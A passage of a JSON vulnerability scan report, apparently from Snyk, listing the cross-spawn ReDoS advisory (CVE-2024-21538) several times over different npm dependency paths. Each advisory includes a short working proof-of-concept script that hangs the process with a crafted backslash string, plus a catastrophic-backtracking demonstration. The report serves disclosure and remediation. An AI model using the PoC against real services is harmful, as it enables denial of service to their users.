Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If 